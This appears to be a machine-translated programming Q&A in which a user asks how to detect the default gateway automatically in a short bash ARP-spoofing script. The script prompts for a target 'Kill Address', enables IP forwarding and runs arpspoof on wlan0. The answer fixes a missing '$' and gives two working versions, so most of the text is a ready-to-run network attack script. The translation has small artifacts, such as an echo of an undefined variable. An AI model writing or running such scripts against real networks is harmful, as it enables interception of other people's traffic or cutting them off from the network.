此脚本有效,但我想删除输入默认网关的需要。
read -p "Gateway address: " gtw
echo "$yip"
read -p "Target IP Address: " tip
echo "$tip"
arpspoof -i "wlan0" "$gtw" -t "$tip"
我尝试使用一个字符串(我认为它被称为sting。 - >顶行),但我一定不能正确使用它。我花了几个小时寻找其他帖子,但我不知道该怎么称呼它。这只是我写的第二个剧本。
gtw=$(route -n|grep ^0.0.0.0|cut -d' ' -f 10)
read -p "Kill Address: " tip
echo "$tip"
echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -i "wlan0" "gtw" -t "$tip"
答案 0 :(得分:3)
缺少$
gtw=$(route -n|grep ^0.0.0.0|cut -d' ' -f 10)
read -p "Kill Address: " tip
echo "$tip"
echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -i "wlan0" "$gtw" -t "$tip"
或直接将其包含在命令
中read -p "Kill Address: " tip
echo "$tip"
echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -i "wlan0" $(route -n|grep ^0.0.0.0|cut -d' ' -f 10) -t "$tip"